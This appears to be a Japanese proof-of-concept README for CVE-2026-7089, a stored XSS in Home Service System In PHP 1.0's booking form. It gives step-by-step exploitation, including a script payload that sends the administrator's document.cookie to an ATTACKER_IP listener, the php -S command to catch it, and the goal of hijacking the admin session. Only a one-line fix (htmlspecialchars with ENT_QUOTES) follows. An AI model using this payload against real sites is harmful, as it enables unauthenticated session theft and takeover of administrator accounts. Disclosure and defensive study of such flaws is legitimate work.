xmyronn/cve-2026-7089-xssCVE-2026-7089の概念実証。Home Service System PHP 1.0における格納型XSSで、予約フォームを介した未認証の管理者セッションハイジャックを可能にします。
| フィールド | 詳細 |
|---|
| ベンダー | code-projects.org |
| 製品 | Home Service System In PHP |
| バージョン | 1.0 |
| 脆弱性タイプ | 格納型クロスサイトスクリプティング（XSS） |
| CWE | CWE-79 |
| 認証要件 | なし |
| 作成者 | Imad Alvi |
Home Service System In PHP 1.0 の booking.php ファイルに、格納型クロスサイトスクリプティング（XSS）の脆弱性が存在します。認証されていないユーザーが、予約フォームのフィールドを通じて悪意のある JavaScript ペイロードを注入できます。サニタイズされていない入力はデータベースに保存され、管理パネル（admin.php）で出力エンコーディングなしにレンダリングされ、管理者のブラウザコンテキストで実行されます。
これにより、認証されていない攻撃者が管理者のセッション Cookie を窃取し、管理者に代わって操作を実行したり、管理者アカウントを完全に乗っ取ったりすることが可能になります。
booking.phpfname、lnameadmin.php → 予約管理認証されていないユーザーとして予約ページに移動します: http://TARGET/homeservices/booking.php?provider=
名 フィールドに、以下のペイロードを注入します:
<script>new Image().src="http://ATTACKER_IP:PORT?c="+document.cookie</script>
残りのフィールドに有効なデータを入力し、予約を送信します。
攻撃者マシンでリスナーを起動します:
php -S 0.0.0.0:PORT
管理者が admin.php の予約管理セクションを訪問するのを待ちます。
ペイロードが管理者のブラウザで実行され、セッション Cookie がリスナーに流出します。
<script>alert(1)</script>
<script>new Image().src="http://ATTACKER_IP:7979?c="+document.cookie</script>
この脆弱性により、リモートの認証されていない攻撃者がアプリケーションを完全に侵害することが可能になります。
攻撃者は以下のことができます:
PHPSESSID セッション Cookie を窃取するhtmlspecialchars() を ENT_QUOTES 付きで適用する